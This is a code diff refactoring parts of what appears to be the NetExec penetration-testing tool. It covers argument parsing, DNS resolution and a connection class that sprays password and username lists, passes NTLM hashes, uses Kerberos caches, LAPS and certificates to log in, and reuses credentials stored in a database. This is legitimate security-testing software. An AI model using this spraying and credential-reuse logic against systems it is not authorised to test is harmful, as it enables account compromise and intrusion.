+    std_parser.add_argument("target", nargs="+" if not (module_parser.parse_known_args()[0].list_modules or module_parser.parse_known_args()[0].show_module_options or generic_parser.parse_known_args()[0].version) else "*", type=str, help="the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)")
+    credential_group = std_parser.add_argument_group("Authentication", "Options for authenticating")
+    credential_group.add_argument("-u", "--username", metavar="USERNAME", dest="username", nargs="+", default=[], help="username(s) or file(s) containing usernames")
+    credential_group.add_argument("-p", "--password", metavar="PASSWORD", dest="password", nargs="+", default=[], help="password(s) or file(s) containing passwords")
+    credential_group.add_argument("-id", metavar="CRED_ID", nargs="+", default=[], type=str, dest="cred_id", help="database credential ID(s) to use for authentication")
+    credential_group.add_argument("--ignore-pw-decoding", action="store_true", help="Ignore non UTF-8 characters when decoding the password file")
+    credential_group.add_argument("--no-bruteforce", action="store_true", help="No spray when using file for username and password (user1 => password1, user2 => password2)")
+    credential_group.add_argument("--continue-on-success", action="store_true", help="continues authentication attempts even after successes")
+    credential_group.add_argument("--gfail-limit", metavar="LIMIT", type=int, help="max number of global failed login attempts")
+    credential_group.add_argument("--ufail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per username")
+    credential_group.add_argument("--fail-limit", metavar="LIMIT", type=int, help="max number of failed login attempts per host")
 
-    fail_group = std_parser.add_mutually_exclusive_group()
-    fail_group.add_argument(
-        "--gfail-limit",
-        metavar="LIMIT",
-        type=int,
-        help="max number of global failed login attempts",
-    )
-    fail_group.add_argument(
-        "--ufail-limit",
-        metavar="LIMIT",
-        type=int,
-        help="max number of failed login attempts per username",
-    )
-    fail_group.add_argument(
-        "--fail-limit",
-        metavar="LIMIT",
-        type=int,
-        help="max number of failed login attempts per host",
-    )
+    kerberos_group = std_parser.add_argument_group("Kerberos", "Options for Kerberos authentication")
+    kerberos_group.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication")
+    kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)")
+    kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
+    kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
+
+    certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication")
+    certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx")
+    certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64")
+    certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate")
+    certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file")
+    certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format")
 
     p_loader = ProtocolLoader()
     protocols = p_loader.get_protocols()
 
-    for protocol in protocols.keys():
-        try:
+    try:
+        for protocol in protocols:
             protocol_object = p_loader.load_protocol(protocols[protocol]["argspath"])
-            subparsers = protocol_object.proto_args(subparsers, std_parser, module_parser)
-        except:
-            nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol}")
+            subparsers = protocol_object.proto_args(subparsers, [std_parser, module_parser])
+    except Exception as e:
+        nxc_logger.exception(f"Error loading proto_args from proto_args.py file in protocol folder: {protocol} - {e}")
+
+    argcomplete.autocomplete(parser, always_complete_options=False)
+    args = parser.parse_args()
 
     if len(sys.argv) == 1:
         parser.print_help()
         sys.exit(1)
 
-    args = parser.parse_args()
-
     if args.version:
-        print(f"{VERSION} - {CODENAME}")
+        print(f"{VERSION} - {CODENAME} - {COMMIT} - {DISTANCE}")
         sys.exit(1)
 
-    return args
+    # Multiply output_tries by 10 to enable more fine granural control, see exec methods
+    if hasattr(args, "get_output_tries"):
+        args.get_output_tries = args.get_output_tries * 10
+
+    return args, [CODENAME, VERSION, COMMIT, DISTANCE]
+
+
+def get_module_names():
+    """Get module names without initializing them"""
+    modules = []
+    modules_paths = [
+        path_join(dirname(nxc.__file__), "modules"),
+        path_join(NXC_PATH, "modules"),
+    ]
+
+    for path in modules_paths:
+        modules.extend([module[:-3] for module in listdir(path) if module[-3:] == ".py" and module != "example_module.py"])
+    return sorted(modules, key=str.casefold)

nxc/config.py

@@ -1,8 +1,6 @@
-# coding=utf-8
-import os
 from os.path import join as path_join
 import configparser
-from nxc.paths import nxc_PATH, DATA_PATH
+from nxc.paths import DATA_PATH, CONFIG_PATH
 from nxc.first_run import first_run_setup
 from nxc.logger import nxc_logger
 from ast import literal_eval
@@ -11,29 +9,33 @@ nxc_default_config = configparser.ConfigParser()
 nxc_default_config.read(path_join(DATA_PATH, "nxc.conf"))
 
 nxc_config = configparser.ConfigParser()
-nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
+nxc_config.read(CONFIG_PATH)
 
 if "nxc" not in nxc_config.sections():
     first_run_setup()
-    nxc_config.read(os.path.join(nxc_PATH, "nxc.conf"))
+    nxc_config.read(CONFIG_PATH)
 
 # Check if there are any missing options in the config file
 for section in nxc_default_config.sections():
+    if not nxc_config.has_section(section):
+        nxc_logger.display(f"Adding missing section '{section}' to nxc.conf")
+        nxc_config.add_section(section)
+        with open(CONFIG_PATH, "w") as config_file:
+            nxc_config.write(config_file)
     for option in nxc_default_config.options(section):
         if not nxc_config.has_option(section, option):
             nxc_logger.display(f"Adding missing option '{option}' in config section '{section}' to nxc.conf")
             nxc_config.set(section, option, nxc_default_config.get(section, option))
 
-            with open(path_join(nxc_PATH, "nxc.conf"), "w") as config_file:
+            with open(CONFIG_PATH, "w") as config_file:
                 nxc_config.write(config_file)
 
-#!!! THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE !!!
+# THESE OPTIONS HAVE TO EXIST IN THE DEFAULT CONFIG FILE
 nxc_workspace = nxc_config.get("nxc", "workspace", fallback="default")
 pwned_label = nxc_config.get("nxc", "pwn3d_label", fallback="Pwn3d!")
 audit_mode = nxc_config.get("nxc", "audit_mode", fallback=False)
 reveal_chars_of_pwd = int(nxc_config.get("nxc", "reveal_chars_of_pwd", fallback=0))
 config_log = nxc_config.getboolean("nxc", "log_mode", fallback=False)
-ignore_opsec = nxc_config.getboolean("nxc", "ignore_opsec", fallback=False)
 host_info_colors = literal_eval(nxc_config.get("nxc", "host_info_colors", fallback=["green", "red", "yellow", "cyan"]))
 
 
@@ -44,5 +46,5 @@ if len(host_info_colors) != 4:
 
 # this should probably be put somewhere else, but if it's in the config helpers, there is a circular import
 def process_secret(text):
-    hidden = text[:reveal_chars_of_pwd]
-    return text if not audit_mode else hidden+audit_mode * 8 
+    reveal = text[:reveal_chars_of_pwd]
+    return text if not audit_mode else reveal + (audit_mode if len(audit_mode) > 1 else audit_mode * 8)

nxc/connection.py

@@ -1,20 +1,25 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
+from datetime import datetime
+import os
 import random
-import socket
-from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME
-from socket import getaddrinfo
+import sys
+import contextlib
+
 from os.path import isfile
 from threading import BoundedSemaphore
 from functools import wraps
 from time import sleep
 from ipaddress import ip_address
+from dns import resolver, rdatatype
+from socket import AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME, getaddrinfo
 
 from nxc.config import pwned_label
 from nxc.helpers.logger import highlight
+from nxc.loaders.moduleloader import ModuleLoader
 from nxc.logger import nxc_logger, NXCAdapter
 from nxc.context import Context
+from nxc.paths import NXC_PATH
+from nxc.protocols.ldap.laps import laps_search
+from nxc.helpers.pfx import pfx_auth
 
 from impacket.dcerpc.v5 import transport
 
@@ -23,96 +28,181 @@ global_failed_logins = 0
 user_failed_logins = {}
 
 
-def gethost_addrinfo(hostname):
+def get_host_addr_info(target, force_ipv6, dns_server, dns_tcp, dns_timeout):
+    result = {
+        "host": "",
+        "is_ipv6": False,
+        "is_link_local_ipv6": False
+    }
+    address_info = {"AF_INET6": "", "AF_INET": ""}
+
     try:
-        for res in getaddrinfo( hostname, None, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-            af, socktype, proto, canonname, sa = res
-        host = canonname if ip_address(sa[0]).is_link_local else sa[0]
-    except socket.gaierror:
-        for res in getaddrinfo( hostname, None, AF_INET, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
-            af, socktype, proto, canonname, sa = res
-        host = sa[0] if sa[0] else canonname
-    return host
+        if ip_address(target).version == 4:
+            address_info["AF_INET"] = target
+        else:
+            address_info["AF_INET6"] = target
+    except Exception:
+        # If the target is not an IP address, we need to resolve it
+        if not (dns_server or dns_tcp):
+            for res in getaddrinfo(target, None, AF_UNSPEC, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME):
+                af, _, _, canonname, sa = res
+                address_info[af.name] = sa[0]
+
+            if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                address_info["AF_INET6"] = canonname
+                result["is_link_local_ipv6"] = True
+        else:
+            dnsresolver = resolver.Resolver()
+            dnsresolver.timeout = dns_timeout
+            dnsresolver.lifetime = dns_timeout
+
+            if dns_server:
+                dnsresolver.nameservers = [dns_server]
+
+            try:
+                answers_ipv4 = dnsresolver.resolve(target, rdatatype.A, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET"] = answers_ipv4[0].address
+            except Exception:
+                pass
+
+            try:
+                answers_ipv6 = dnsresolver.resolve(target, rdatatype.AAAA, raise_on_no_answer=False, tcp=dns_tcp)
+                address_info["AF_INET6"] = answers_ipv6[0].address
+
+                if address_info["AF_INET6"] and ip_address(address_info["AF_INET6"]).is_link_local:
+                    result["is_link_local_ipv6"] = True
+            except Exception:
+                pass
+
+    if not (address_info["AF_INET"] or address_info["AF_INET6"]):
+        raise Exception(f"The DNS query name does not exist: {target}")
+
+    # IPv4 preferred
+    if address_info["AF_INET"] and not force_ipv6:
+        result["host"] = address_info["AF_INET"]
+    else:
+        result["is_ipv6"] = True
+        result["host"] = address_info["AF_INET6"]
+
+    return result
+
 
 def requires_admin(func):
     def _decorator(self, *args, **kwargs):
         if self.admin_privs is False:
-            return
+            if hasattr(self.args, "exec_method") and self.args.exec_method == "mmcexec":
+                return func(self, *args, **kwargs)
+            return None
         return func(self, *args, **kwargs)
 
     return wraps(func)(_decorator)
 
-def dcom_FirewallChecker(iInterface, timeout):
+
+def dcom_FirewallChecker(iInterface, remoteHost, timeout):
     stringBindings = iInterface.get_cinstance().get_string_bindings()
     for strBinding in stringBindings:
-        if strBinding['wTowerId'] == 7:
-            if strBinding['aNetworkAddr'].find('[') >= 0:
-                binding, _, bindingPort = strBinding['aNetworkAddr'].partition('[')
-                bindingPort = '[' + bindingPort
+        if strBinding["wTowerId"] == 7:
+            if strBinding["aNetworkAddr"].find("[") >= 0:
+                binding, _, bindingPort = strBinding["aNetworkAddr"].partition("[")
+                bindingPort = "[" + bindingPort
             else:
-                binding = strBinding['aNetworkAddr']
-                bindingPort = ''
+                binding = strBinding["aNetworkAddr"]
+                bindingPort = ""
 
             if binding.upper().find(iInterface.get_target().upper()) >= 0:
-                stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
+                stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
                 break
-            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition('.')[0]) >= 0:
-                stringBinding = 'ncacn_ip_tcp:%s%s' % (iInterface.get_target(), bindingPort)
+            elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
+                stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
     if "stringBinding" not in locals():
         return True, None
     try:
         rpctransport = transport.DCERPCTransportFactory(stringBinding)
+        rpctransport.setRemoteHost(remoteHost)
         rpctransport.set_connect_timeout(timeout)
         rpctransport.connect()
         rpctransport.disconnect()
-    except:
+    except Exception as e:
+        nxc_logger.debug(f"Exception while connecting to {stringBinding}: {e}")
         return False, stringBinding
     else:
         return True, stringBinding
 
-class connection(object):
-    def __init__(self, args, db, host):
-        self.domain = None
+
+class connection:
+    def __init__(self, args, db, target):
         self.args = args
         self.db = db
-        self.hostname = host
+        self.logger = nxc_logger
         self.conn = None
-        self.admin_privs = False
+
+        # Authentication info
         self.password = ""
         self.username = ""
-        self.kerberos = True if self.args.kerberos or self.args.use_kcache or self.args.aesKey else False
+        self.kerberos = bool(self.args.kerberos or
+                             self.args.use_kcache or
+                             self.args.aesKey or
+                             (hasattr(self.args, "delegate") and self.args.delegate) or
+                             (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets))
         self.aesKey = None if not self.args.aesKey else self.args.aesKey[0]
-        self.kdcHost = None if not self.args.kdcHost else self.args.kdcHost
         self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache
+        self.admin_privs = False
         self.failed_logins = 0
-        self.local_ip = None
-        self.logger = nxc_logger
 
-        try:
-            self.host = gethost_addrinfo(self.hostname)
-            if self.args.kerberos:
-                self.host = self.hostname
-            self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }")
-        except Exception as e:
-            self.logger.info(f"Error resolving hostname {self.hostname}: {e}")
+        # Network info
+        self.domain = None
+        self.host = None            # IP address of the target. If kerberos this is the hostname
+        self.hostname = target      # Target info supplied by the user, may be an IP address or a hostname
+        self.remoteName = target    # hostname + domain, defaults to target if domain could not be resolved/not specified
+        self.kdcHost = self.args.kdcHost
+        self.port = self.args.port
+        self.local_ip = None
+        self.dns_server = self.args.dns_server
+
+        # Construct the output file template using os.path.join for OS compatibility
+        base_log_dir = os.path.join(os.path.expanduser(NXC_PATH), "logs")
+        filename_pattern = f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
+        self.output_file_template = os.path.join(base_log_dir, "{output_folder}", filename_pattern)
+
+        # DNS resolution
+        dns_result = self.resolver(target)
+        if dns_result:
+            self.host, self.is_ipv6, self.is_link_local_ipv6 = dns_result["host"], dns_result["is_ipv6"], dns_result["is_link_local_ipv6"]
+        else:
             return
 
-        if args.jitter:
-            jitter = args.jitter
-            if "-" in jitter:
-                start, end = jitter.split("-")
-                jitter = (int(start), int(end))
-            else:
-                jitter = (0, int(jitter))
+        if self.kerberos:
+            self.host = self.hostname
 
-            value = random.choice(range(jitter[0], jitter[1]))
-            self.logger.debug(f"Doin' the jitterbug for {value} second(s)")
-            sleep(value)
+        self.logger.info(f"Socket info: host={self.host}, port={self.port}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}")
 
         try:
             self.proto_flow()
         except Exception as e:
-            self.logger.exception(f"Exception while calling proto_flow() on target {self.host}: {e}")
+            if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
+                self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
+            # Catching impacket SMB specific exceptions, which should not be imported due to performance reasons
+            elif e.__class__.__name__ in ["NetBIOSTimeout", "NetBIOSError"]:
+                self.logger.error(f"{e.__class__.__name__} on target {target}: {e}")
+            else:
+                self.logger.exception(f"Exception while calling proto_flow() on target {target}: {e}")
+        finally:
+            self.logger.debug(f"Closing connection to: {target}")
+            with contextlib.suppress(Exception):
+                self.conn.close()
+
+    def resolver(self, target):
+        try:
+            return get_host_addr_info(
+                target=target,
+                force_ipv6=self.args.force_ipv6,
+                dns_server=self.args.dns_server,
+                dns_tcp=self.args.dns_tcp,
+                dns_timeout=self.args.dns_timeout
+            )
+        except Exception as e:
+            self.logger.info(f"Error resolving hostname {target}: {e}")
+            return None
 
     @staticmethod
     def proto_args(std_parser, module_parser):
@@ -130,55 +220,74 @@ class connection(object):
     def create_conn_obj(self):
         return
 
+    def disconnect(self):
+        return
+
     def check_if_admin(self):
         return
 
-    def kerberos_login(
-        self,
-        domain,
-        username,
-        password="",
-        ntlm_hash="",
-        aesKey="",
-        kdcHost="",
-        useCache=False,
-    ):
+    def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
         return
 
-    def plaintext_login(self, domain, username, password):
+    def plaintext_login(self, username, password):
         return
 
     def hash_login(self, domain, username, ntlm_hash):
         return
 
     def proto_flow(self):
-        self.logger.debug(f"Kicking off proto_flow")
+        self.logger.debug("Kicking off proto_flow")
         self.proto_logger()
-        if self.create_conn_obj():
+        if not self.create_conn_obj():
+            self.logger.info(f"Failed to create connection object for target {self.host}, exiting...")
+        else:
+            self.logger.debug("Created connection object")
             self.enum_host_info()
-            if self.print_host_info():
-                # because of null session
-                if self.login() or (self.username == "" and self.password == ""):
-                    if hasattr(self.args, "module") and self.args.module:
-                        self.call_modules()
-                    else:
-                        self.call_cmd_args()
+            self.print_host_info()
+            if self.login() or (self.username == "" and self.password == ""):
+                if hasattr(self.args, "module") and self.args.module:
+                    self.load_modules()
+                    self.logger.debug("Calling modules")
+                    self.call_modules()
+                else:
+                    self.logger.debug("Calling command arguments")
+                    self.call_cmd_args()
+            self.disconnect()
 
     def call_cmd_args(self):
-        for k, v in vars(self.args).items():
-            if hasattr(self, k) and hasattr(getattr(self, k), "__call__"):
-                if v is not False and v is not None:
-                    self.logger.debug(f"Calling {k}()")
-                    r = getattr(self, k)()
+        """Calls all the methods specified by the command line arguments
+
+        Iterates over the attributes of an object (self.args)
+        For each attribute, it checks if the object (self) has an attribute with the same name and if that attribute is callable (i.e., a function)
+        If both conditions are met and the attribute value is not False or None,
+        it calls the function and logs a debug message
+
+        Parameters
+        ----------
+            self (object): The instance of the class.
+
+        Returns
+        -------
+            None
+        """
+        for attr, value in vars(self.args).items():
+            if hasattr(self, attr) and callable(getattr(self, attr)) and value is not False and value is not None:
+                self.logger.debug(f"Calling {attr}()")
+                getattr(self, attr)()
 
     def call_modules(self):
-        for module in self.module:
+        """Calls modules and performs various actions based on the module's attributes.
+
+        It iterates over the modules specified in the command line arguments.
+        For each module, it loads the module and creates a context object, then calls functions based on the module's attributes.
+        """
+        for module in self.modules:
             self.logger.debug(f"Loading module {module.name} - {module}")
             module_logger = NXCAdapter(
                 extra={
                     "module_name": module.name.upper(),
                     "host": self.host,
-                    "port": self.args.port,
+                    "port": self.port,
                     "hostname": self.hostname,
                 },
             )
@@ -187,11 +296,6 @@ class connection(object):
             context = Context(self.db, module_logger, self.args)
             context.localip = self.local_ip
 
-            if hasattr(module, "on_request") or hasattr(module, "has_response"):
-                self.logger.debug(f"Module {module.name} has on_request or has_response methods")
-                self.server.connection = self
-                self.server.context.localip = self.local_ip
-
             if hasattr(module, "on_login"):
                 self.logger.debug(f"Module {module.name} has on_login method")
                 module.on_login(context, self)
@@ -200,15 +304,10 @@ class connection(object):
                 self.logger.debug(f"Module {module.name} has on_admin_login method")
                 module.on_admin_login(context, self)
 
-            if (not hasattr(module, "on_request") and not hasattr(module, "has_response")) and hasattr(module, "on_shutdown"):
-                self.logger.debug(f"Module {module.name} has on_shutdown method")
-                module.on_shutdown(context, self)
-
     def inc_failed_login(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
-        if username not in user_failed_logins.keys():
+        if username not in user_failed_logins:
             user_failed_logins[username] = 0
 
         user_failed_logins[username] += 1
@@ -216,8 +315,7 @@ class connection(object):
         self.failed_logins += 1
 
     def over_fail_limit(self, username):
-        global global_failed_logins
-        global user_failed_logins
+        global global_failed_logins, user_failed_logins
 
         if global_failed_logins == self.args.gfail_limit:
             return True
@@ -225,53 +323,54 @@ class connection(object):
         if self.failed_logins == self.args.fail_limit:
             return True
 
-        if username in user_failed_logins.keys():
-            if self.args.ufail_limit == user_failed_logins[username]:
-                return True
+        if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]:  # noqa: SIM103
+            return True
 
         return False
 
     def query_db_creds(self):
-        """
-        Queries the database for credentials to be used for authentication.
+        """Queries the database for credentials to be used for authentication.
+
         Valid cred_id values are:
             - a single cred_id
             - a range specified with a dash (ex. 1-5)
             - 'all' to select all credentials
 
-        :return: domain[], username[], owned[], secret[], cred_type[]
+        :return: domains[], usernames[], owned[], secrets[], cred_types[]
         """
-        domain = []
-        username = []
+        domains = []
+        usernames = []
         owned = []
-        secret = []
-        cred_type = []
+        secrets = []
+        cred_types = []
         creds = []  # list of tuples (cred_id, domain, username, secret, cred_type, pillaged_from) coming from the database
         data = []  # Arbitrary data needed for the login, e.g. ssh_key
 
         for cred_id in self.args.cred_id:
-            if isinstance(cred_id, str) and cred_id.lower() == 'all':
+            if cred_id.lower() == "all":
                 creds = self.db.get_credentials()
             else:
                 if not self.db.get_credentials(filter_term=int(cred_id)):
-                    self.logger.error('Invalid database credential ID {}!'.format(cred_id))
+                    self.logger.error(f"Invalid database credential ID {cred_id}!")
                     continue
                 creds.extend(self.db.get_credentials(filter_term=int(cred_id)))
 
         for cred in creds:
-            c_id, domain_single, username_single, secret_single, cred_type_single, pillaged_from = cred
-            domain.append(domain_single)
-            username.append(username_single)
+            c_id, domain, username, secret, cred_type, pillaged_from = cred
+            domains.append(domain)
+            usernames.append(username)
             owned.append(False)  # As these are likely valid we still want to test them if they are specified in the command line
-            secret.append(secret_single)
-            cred_type.append(cred_type_single)
+            secrets.append(secret)
+            cred_types.append(cred_type)
 
-        if len(secret) != len(data): data = [None] * len(secret)
-        return domain, username, owned, secret, cred_type, data
+        if len(secrets) != len(data):
+            data = [None] * len(secrets)
+
+        return domains, usernames, owned, secrets, cred_types, data
 
     def parse_credentials(self):
-        """
-        Parse credentials from the command line or from a file specified.
+        r"""Parse credentials from the command line or from a file specified.
+
         Usernames can be specified with a domain (domain\\username) or without (username).
         If the file contains domain\\username the domain specified will be overwritten by the one in the file.
 
@@ -286,12 +385,12 @@ class connection(object):
         # Parse usernames
         for user in self.args.username:
             if isfile(user):
-                with open(user, 'r') as user_file:
+                with open(user) as user_file:
                     for line in user_file:
-                        if "\\" in line:
+                        if "\\" in line and len(line.split("\\")) == 2:
                             domain_single, username_single = line.split("\\")
                         else:
-                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                            domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                             username_single = line
                         domain.append(domain_single)
                         username.append(username_single.strip())
@@ -300,7 +399,7 @@ class connection(object):
                 if "\\" in user:
                     domain_single, username_single = user.split("\\")
                 else:
-                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain
+                    domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain is not None else self.domain
                     username_single = user
                 domain.append(domain_single)
                 username.append(username_single)
@@ -310,42 +409,51 @@ class connection(object):
         for password in self.args.password:
             if isfile(password):
                 try:
-                    with open(password, 'r', errors = ('ignore' if self.args.ignore_pw_decoding else 'strict')) as password_file:
+                    with open(password, errors=("ignore" if self.args.ignore_pw_decoding else "strict")) as password_file:
                         for line in password_file:
                             secret.append(line.strip())
-                            cred_type.append('plaintext')
+                            cred_type.append("plaintext")
                 except UnicodeDecodeError as e:
                     self.logger.error(f"{type(e).__name__}: Could not decode password file. Make sure the file only contains UTF-8 characters.")
                     self.logger.error("You can ignore non UTF-8 characters with the option '--ignore-pw-decoding'")
-                    exit(1)
-
+                    sys.exit(1)
             else:
                 secret.append(password)
-                cred_type.append('plaintext')
+                cred_type.append("plaintext")
 
         # Parse NTLM-hashes
         if hasattr(self.args, "hash") and self.args.hash:
             for ntlm_hash in self.args.hash:
                 if isfile(ntlm_hash):
-                    with open(ntlm_hash, 'r') as ntlm_hash_file:
-                        for line in ntlm_hash_file:
-                            secret.append(line.strip())
-                            cred_type.append('hash')
+                    with open(ntlm_hash) as ntlm_hash_file:
+                        for i, line in enumerate(ntlm_hash_file):
+                            line = line.strip()
+                            if len(line) != 32 and len(line) != 65 and len(line) != 0:
+                                self.logger.fail(f"Invalid NTLM hash length on line {(i + 1)} (len {len(line)}): {line}")
+                                continue
+                            else:
+                                secret.append(line)
+                                cred_type.append("hash")
                 else:
-                    secret.append(ntlm_hash)
-                    cred_type.append('hash')
+                    if len(ntlm_hash) != 32 and len(ntlm_hash) != 65 and len(ntlm_hash) != 0:
+                        self.logger.fail(f"Invalid NTLM hash length {len(ntlm_hash)}, authentication not sent")
+                        exit(1)
+                    else:
+                        secret.append(ntlm_hash)
+                        cred_type.append("hash")
+            self.logger.debug(secret)
 
         # Parse AES keys
         if self.args.aesKey:
             for aesKey in self.args.aesKey:
                 if isfile(aesKey):
-                    with open(aesKey, 'r') as aesKey_file:
+                    with open(aesKey) as aesKey_file:
                         for line in aesKey_file:
                             secret.append(line.strip())
-                            cred_type.append('aesKey')
+                            cred_type.append("aesKey")
                 else:
                     secret.append(aesKey)
-                    cred_type.append('aesKey')
+                    cred_type.append("aesKey")
 
         # Allow trying multiple users with a single password
         if len(username) > 1 and len(secret) == 1:
@@ -358,6 +466,8 @@ class connection(object):
     def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
         """
         Try to login using the specified credentials and protocol.
+        With  --jitter an authentication throttle can be applied.
+
         Possible login methods are:
             - plaintext (/kerberos)
             - NTLM-hash (/kerberos)
@@ -367,31 +477,41 @@ class connection(object):
             return False
         if self.args.continue_on_success and owned:
             return False
-        # Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
-        if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
-            self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
-            return False
+
+        if self.args.jitter:
+            jitter = self.args.jitter
+            if "-" in jitter:
+                start, end = jitter.split("-")
+                jitter = (int(start), int(end))
+            else:
+                jitter = (0, int(jitter))
+            value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
+            self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
+            sleep(value)
 
         with sem:
-            if cred_type == 'plaintext':
-                if self.args.kerberos:
-                    return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
-                elif hasattr(self.args, "domain"):  # Some protocolls don't use domain for login
+            if cred_type == "plaintext":
+                if self.kerberos:
+                    self.logger.debug("Trying to authenticate using Kerberos")
+                    return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
+                elif hasattr(self.args, "domain"):  # Some protocols don't use domain for login
+                    self.logger.debug("Trying to authenticate using plaintext with domain")
                     return self.plaintext_login(domain, username, secret)
-                elif self.args.protocol == 'ssh':
+                elif self.args.protocol == "ssh":
+                    self.logger.debug("Trying to authenticate using plaintext over SSH")
                     return self.plaintext_login(username, secret, data)
                 else:
+                    self.logger.debug("Trying to authenticate using plaintext")
                     return self.plaintext_login(username, secret)
-            elif cred_type == 'hash':
-                if self.args.kerberos:
-                    return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
+            elif cred_type == "hash":
+                if self.kerberos:
+                    return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
                 return self.hash_login(domain, username, secret)
-            elif cred_type == 'aesKey':
-                return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
+            elif cred_type == "aesKey":
+                return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
 
     def login(self):
-        """
-        Try to login using the credentials specified in the command line or in the database.
+        """Try to login using the credentials specified in the command line or in the database.
 
         :return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
         """
@@ -423,6 +543,7 @@ class connection(object):
             data.extend(parsed_data)
 
         if self.args.use_kcache:
+            self.logger.debug("Trying to authenticate using Kerberos cache")
             with sem:
                 username = self.args.username[0] if len(self.args.username) else ""
                 password = self.args.password[0] if len(self.args.password) else ""
@@ -430,6 +551,21 @@ class connection(object):
                 self.logger.info("Successfully authenticated using Kerberos cache")
                 return True
 
+        if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert:
+            self.logger.debug("Trying to authenticate using Certificate pfx")
+            if not self.args.username:
+                self.logger.fail("You must specify a username when using certificate authentication")
+                return False
+            with sem:
+                return pfx_auth(self)
+
+        if hasattr(self.args, "laps") and self.args.laps:
+            self.logger.debug("Trying to authenticate using LAPS")
+            username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server)
+            cred_type = ["plaintext"]
+            if not (username[0] or secret[0] or domain[0]):
+                return False
+
         if not self.args.no_bruteforce:
             for secr_index, secr in enumerate(secret):
                 for user_index, user in enumerate(username):
@@ -449,3 +585,12 @@ class connection(object):
 
     def mark_pwned(self):
         return highlight(f"({pwned_label})" if self.admin_privs else "")
+
+    def load_modules(self):
+        self.logger.info(f"Loading modules for target: {self.host}")
+        loader = ModuleLoader(self.args, self.db, self.logger)
+        self.modules = []
+
+        for module_path in self.module_paths:
+            module = loader.init_module(module_path)
+            self.modules.append(module)

nxc/context.py

@@ -1,9 +1,8 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
-
 import configparser
 import os
 
+from nxc.paths import NXC_PATH, CONFIG_PATH
+
 
 class Context:
     def __init__(self, db, logger, args):
@@ -11,11 +10,10 @@ class Context:
             setattr(self, key, value)
 
         self.db = db
-        self.log_folder_path = os.path.join(os.path.expanduser("~/.nxc"), "logs")
+        self.log_folder_path = os.path.join(NXC_PATH, "logs")
         self.localip = None
 
         self.conf = configparser.ConfigParser()
-        self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
+        self.conf.read(CONFIG_PATH)
 
         self.log = logger
-        # self.log.debug = logging.debug

nxc/data/impersonate_module/impersonate.bs64

